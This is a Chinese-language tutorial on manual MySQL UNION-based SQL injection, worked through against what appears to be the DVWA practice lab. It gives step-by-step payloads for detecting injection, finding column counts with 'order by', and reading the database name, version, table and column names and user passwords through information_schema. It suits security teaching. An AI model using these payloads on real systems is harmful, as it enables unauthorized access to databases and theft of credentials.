原理
union select 联合查询,即合并(取交集,结果中没有重复⾏)前后两个查询;前提是前后查询视图必须拥有相同数量的列,列也必需拥有相同的数据类型。
Union联合查询注入基本流程
1.判断是否存在注入(数字型还是字符型)
方法一:单引号法
'
方法二:逻辑法
and 1=1
and 1=2
1' and '1'='1
1' and '1'='2
方法三:运算法
-1
-0
2.猜解表名
常见的敏感表名
admin
user
admin_userinfo
system
vipuser
a_admin
xxx_admin
……
3.猜解字段数
order by xx //xx是一个数字,表示你所猜的字段数
4.猜解字段名
常见的敏感字段名
username
password
admin_username
admin_password
……
5.获取数据
union select 1,2,3... from xx
MySQL手注之联合查询注入步骤详解
1.判断是否存在注入,注入类型是数字型还是字符型
输入ID为1'时出现提示You have an error in your SQL……to use near ''1'' at line 1
此时系统执行的语句就是 SELECT first_name, last_name FROM users WHERE user_id = '1''
输入ID为1' and '1' = '1时,返回了ID:1' and '1' = '1 First name:admine 和Surname: admin
此时系统执行的语句就是 SELECT first_name, last_name FROM users WHERE user_id = '1' and '1' = '1'
输入ID为1' or '1' = '1时,界面将所有用户信息(ID,First name,Surname)都显示出来
此时系统执行的语句就是 SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' = '1'
若以上实验过程成功的话,就可以说明存在字符型注入
2.猜解字段数
若输入ID为1' order by 2 #时,界面返回ID:1' order by 2 # First name:admin Surname:admin
而当输入ID为1' order by 3 #时,页面返回Unknown column '3' in 'order clause'
这就说明SQL语句查询的表的字段数是2
3.联合查询
获取当前数据库和数据库用户名
1' union select database(),user() #
获取当前的数据库版本和操作系统
1' union select version(),@@version_compile_os#
获取数据
在此之前我们需要判断MySQL的版本。因为当MySQL的版本⼩于4.0时,是不⽀持union select联合查询的;当MySQL版本⼤于 5.0时,有个默认数据库information_schema,保存了 Mysql服务器所有数据库的信息,如数据库名,数据库的表, 表栏的数据类型与访问权限等。该数据库拥有⼀个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
获取数据表名
1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
获取表中的列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
获取数据
1' union select user,password from users#